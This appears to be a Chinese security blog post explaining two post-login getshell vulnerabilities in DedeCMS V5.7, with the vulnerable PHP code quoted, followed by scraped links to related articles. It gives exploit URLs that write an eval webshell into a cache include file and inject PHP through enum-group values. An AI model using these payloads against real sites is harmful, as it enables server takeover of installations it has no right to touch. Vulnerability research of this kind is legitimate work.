Dedecms V5.7后台的两处getshell

在这个帖子里我把两个洞一起写出来。

第一个是常见的思路,把语句写入inc文件,然后在其他的include语句中,包含了恶意代码进而getshell。
漏洞代码在:/dede/sys_verifies.php 代码如下:

else if ($action == ‘getfiles‘)
{
    if(!isset($refiles))
    {
        ShowMsg("你没进行任何操作!","sys_verifies.php");
        exit();
    }
    $cacheFiles = DEDEDATA.‘/modifytmp.inc‘;
    $fp = fopen($cacheFiles, ‘w‘);
    fwrite($fp, ‘<‘.‘?php‘."\r\n");
    fwrite($fp, ‘$tmpdir = "‘.$tmpdir.‘";‘."\r\n");
    $dirs = array();
    $i = -1;
    $adminDir = preg_replace("#(.*)[\/\\\\]#", "", dirname(__FILE__));
    foreach($refiles as $filename)
    {
        $filename = substr($filename,3,strlen($filename)-3);
        if(preg_match("#^dede/#i", $filename))
        {
            $curdir = GetDirName( preg_replace("#^dede/#i", $adminDir.‘/‘, $filename) );
        } else {
            $curdir = GetDirName($filename);
        }
        if( !isset($dirs[$curdir]) )
        {
            $dirs[$curdir] = TestIsFileDir($curdir);
        }
        $i++;
        fwrite($fp, ‘$files[‘.$i.‘] = "‘.$filename.‘";‘."\r\n");
    }
    fwrite($fp, ‘$fileConut = ‘.$i.‘;‘."\r\n");
    fwrite($fp, ‘?‘.‘>‘);
    fclose($fp);

    $dirinfos = ‘‘;
    if($i > -1)
    {
        $dirinfos = ‘<tr bgcolor="#ffffff"><td colspan="2">‘;
        $dirinfos .= "本次升级需要在下面文件夹写入更新文件,请注意文件夹是否有写入权限:<br />\r\n";
        foreach($dirs as $curdir)
        {
            $dirinfos .= $curdir[‘name‘]." 状态:".($curdir[‘writeable‘] ? "[√正常]" : "<font color=‘red‘>[×不可写]</font>")."<br />\r\n";
        }
        $dirinfos .= "</td></tr>\r\n";
    }

    $doneStr = "<iframe name=‘stafrm‘ src=‘sys_verifies.php?action=down&curfile=0‘ frameborder=‘0‘ id=‘stafrm‘ width=‘100%‘ height=‘100%‘></iframe>\r\n";

    include(DEDEADMIN.‘/templets/sys_verifies_getfiles.htm‘);

    exit();
}

从这段代码里,可以得知会在/data目录下生成一个inc文件,并且这个inc文件的内容是我们可以控制的,因此只需要再找一个include了这个inc文件的地方,便可以完成攻击。

全局搜索了下这个文件,发现就在同一个php文件的下面,因此利用条件就全部齐了,可以开始构造写入的语句了。

观察逻辑,代码会先从url中获取一个refiles参数,并且refiles作为数组参数,被写入inc文件。而紧接的foreach语句其实重点就只是一个replace,只要绕过去就好了。最后的payload大概如下:
http://localhost/dedecms/uploads/dede/sys_verifies.php?action=getfiles&refiles[0]=123&refiles[1]=\%22;eval($_GET[a]);die();/


此时写入shell成功,触发shell:
http://localhost/dedecms/uploads/dede/sys_verifies.php?action=down&a=phpinfo();

任意代码执行了

第二个的思路比第一个稍微绕一点,但也只是绕的有限。
漏洞代码在/dede/sys_cache_up.php处 36行处:

else if($step == 2)
{
    include_once(DEDEINC."/enums.func.php");
    WriteEnumsCache();
    //WriteAreaCache(); 已过期
    ShowMsg("成功更新枚举缓存,准备更新调用缓存...", "sys_cache_up.php?dopost=ok&step=3&uparc=$uparc");
    exit();
}
跟进WrtieEnumsCache():

function WriteEnumsCache($egroup=‘‘)
{
    global $dsql;
    $egroups = array();
    if($egroup==‘‘) {
        $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` GROUP BY egroup ");
    }
    else {
        $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` WHERE egroup=‘$egroup‘ GROUP BY egroup ");
    }
    $dsql->Execute(‘enum‘);
    while($nrow = $dsql->GetArray(‘enum‘)) {
        $egroups[] = $nrow[‘egroup‘];
    }

    foreach($egroups as $egroup)
    {

        $cachefile = DEDEDATA.‘/enums/‘.$egroup.‘.php‘;
        $fp = fopen($cachefile,‘w‘);
        fwrite($fp,‘<‘."?php\r\nglobal \$em_{$egroup}s;\r\n\$em_{$egroup}s = array();\r\n");
        $dsql->SetQuery("SELECT ename,evalue,issign FROM `#@__sys_enum` WHERE egroup=‘$egroup‘ ORDER BY disorder ASC, evalue ASC ");
        $dsql->Execute(‘enum‘);
        $issign = -1;
        $tenum = false; //三级联动标识
        while($nrow = $dsql->GetArray(‘enum‘))
        {
            fwrite($fp,"\$em_{$egroup}s[‘{$nrow[‘evalue‘]}‘] = ‘{$nrow[‘ename‘]}‘;\r\n");
            if($issign==-1) $issign = $nrow[‘issign‘];
            if($nrow[‘issign‘]==2) $tenum = true;
        }
        if ($tenum) $dsql->ExecuteNoneQuery("UPDATE `#@__stepselect` SET `issign`=2 WHERE egroup=‘$egroup‘; ");
        fwrite($fp,‘?‘.‘>‘);
        fclose($fp);
        if(empty($issign)) WriteEnumsJs($egroup);
    }
    return ‘成功更新所有枚举缓存!‘;
}

可以看到有文件读写操作,但是文件内容是从数据库取值的,因此需要先往数据库里写入内容,同时,因为没有任何过滤,因此操作难度降低了许多。找到的写数据库的位置在:
dede/stepselect_main.php:

else if($action==‘addenum_save‘)
{
    if(empty($ename) || empty($egroup))
    {
         Showmsg("类别名称或组名称不能为空!","-1");
         exit();
    }
    if($issign == 1 || $topvalue == 0)
    $enames = explode(‘,‘, $ename);
    foreach($enames as $ename){
        $arr = $dsql->GetOne("SELECT * FROM `#@__sys_enum` WHERE egroup=‘$egroup‘ AND (evalue MOD 500)=0 ORDER BY disorder DESC ");
        if(!is_array($arr)) $disorder = $evalue = ($issign==1 ? 1 : 500);
        else $disorder = $evalue = $arr[‘disorder‘] + ($issign==1 ? 1 : 500);
        $dsql->ExecuteNoneQuery("INSERT INTO `#@__sys_enum`(`ename`,`evalue`,`egroup`,`disorder`,`issign`)  VALUES(‘$ename‘,‘$evalue‘,‘$egroup‘,‘$disorder‘,‘$issign‘); ");     }
    echo "INSERT INTO `#@__sys_enum`(`ename`,`evalue`,`egroup`,`disorder`,`issign`) VALUES(‘$ename‘,‘$evalue‘,‘$egroup‘,‘$disorder‘,‘$issign‘); ";
        die();
        WriteEnumsCache($egroup);
        ShowMsg("成功添加枚举分类!".$dsql->GetError(), $ENV_GOBACK_URL);
        exit();
    }

因此传入如下url:
http://localhost/dedecms/uploads/dede/stepselect_main.php?action=addenum_save&ename=2334&egroup=;phpinfo();$&issign=1
然后被写入了数据库,此时直接查询,便可以写入文件,写文件url如下:
http://localhost/dedecms/uploads/dede/sys_cache_up.php?step=2&egroup=a=1;phpinfo();&dopost=ok

原文地址:https://www.cnblogs.com/WhiteHatKevil/p/10226726.html

时间: 2024-07-29 08:28:04

Dedecms V5.7后台的两处getshell的相关文章

[代码审计]phpshe开源商城后台两处任意文件删除至getshell

0x00 背景 这套系统审了很久了,前台审不出个所以然来.前台的限制做的很死. 入库的数据都是经过mysql_real_escape_string,htmlspecialchars的处理. 二次注入没找到,逻辑漏洞也没找到.抛开实际利用来说,简单讲讲两个任意文件删除漏洞,在拿到后台之后的getshell方法. 0x01 phpshe程序简介 phpshe是一个开源商城程序,程序在前台入库的地方都用了pe_dbhold函数(mysql_real_escape_string,htmlspecialc

织梦CMS去广告方法 for DedeCMS V5.7

DedeCms 5.7新版发布,下来上传至服务器安装完毕,点击进入后台登陆界面,怎么多了广告链,而且登陆界面也变了,以前可不带这样的啊.按步骤一步一步来去版权再去广告吧. 一,去处后台登陆页login.php广告链. 1,查看html源文件,找到广告部分代码如下: < div class ="dede-iframe" > < iframe name ="loginad" src ="login.php?dopost=showad"

DedeCMS V5.7 SP2前台文件上传漏洞(CVE-2018-20129)

一.漏洞描述 织梦内容管理系统(Dedecms)是一款PHP开源网站管理系统.Dedecms V5.7 SP2版本中的uploads/include/dialog/select_images_post.php文件存在文件上传漏洞,远程攻击者可以利用该漏洞上传并执行任意PHP代码. 该漏洞利用条件:1.需要开发会员注册功能 2.权限必须是管理员,普通用户无法写入文件 二.漏洞环境搭建 1.官方下载DeDeCMS V5.7 SP2(UTF-8),下载地址: http://www.dedecms.co

Dedecms v5.7 CKEditor编辑器回车将&lt;br&gt;和&lt;div&gt;改了&lt;p&gt;的解决方法

Dedecms v5.7  SP1的Ckeditor编辑器有些改动,默认为回车键换行.Shift+Enter换段落,但各位站长朋友都习惯了直接敲回车换段落,查看后发现它的配置文件里是可以修改解决的,其实你可以把下面的代码注释掉就可以采用另外一种模式了(enter换段落): 1.找到:安装目录\include\ckeditor\config.js中下面代码: config.autoParagraph = false; config.enterMode = CKEDITOR.ENTER_BR; co

去除DedeCms 5.7后台版权广告链接的方法

织梦DedeCms 5.7后台有很多的织梦官方的广告链接,下面我们来将这些广告去掉吧. 一.去处后台登陆页login.php广告链. 1.找到登录界面模板文件/dede/templets/login.html,在里面找到广告部分代码如下: <div class="dede-iframe"> <iframe name="loginad" src="login.php?dopost=showad" frameborder="

CVE-2018-20129:DedeCMS V5.7 SP2前台文件上传漏洞

一.漏洞摘要 漏洞名称: DedeCMS V5.7 SP2前台文件上传漏洞上报日期: 2018-12-11漏洞发现者: 陈灿华产品首页: http://www.dedecms.com/软件链接: http://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7-UTF8-SP2.tar.gz版本: DedeCMS V5.7 SP2正式版CVE编号: CVE-2018-20129 二.漏洞概述 下载最新版本的dedecms源码,在本地安装完成后,

织梦v5.7后台添加文章提交出现空白页面

织梦v5.7后台添加文章提交出现空白页面 本地搭建的服务器,然后下载源代码的模板文件,但是,在本地安装后,却不能够在织梦后台栏目添加文章,添加后提交页面显示空白,查看文章状态显示为"未生成". 查看了很多网上的帖子,没有发现能解决此问题的;后台经过逆向反复查找,最终锁定问题出在了网站的article_article.htm的模板上,模板上使用了一个自定义函数 function="GetTopTypename(@me). 因为之前也搞过这个函数,代表着获得当前栏目顶级栏目名称.

Dedecms v5.7包含上传漏洞利用

Title:Dedecms v5.7包含上传漏洞利用 --2012-09-21 10:16 注册,登录,免邮箱验证. up.htm --------------------------------------------------------------------------------------------------------- <form action="http://www.xx.com/plus/carbuyaction.php?dopost=memclickout&am

DEDECMS V5.1 审计学习

阅读书籍:<黑客脚本全本>.第240页.关于dedecms v5.1 tag.php 注入漏洞复现问题. 书中作者这个漏洞复现有些不正确. #0x01  文件/tag.php if(isset($_SERVER["QUERY_STRING"])){ $tag = trim($_SERVER["QUERY_STRING"]); //query_string (查询字符串),如果有的话,通过进行页面访问. $tags = explode('/',$tag);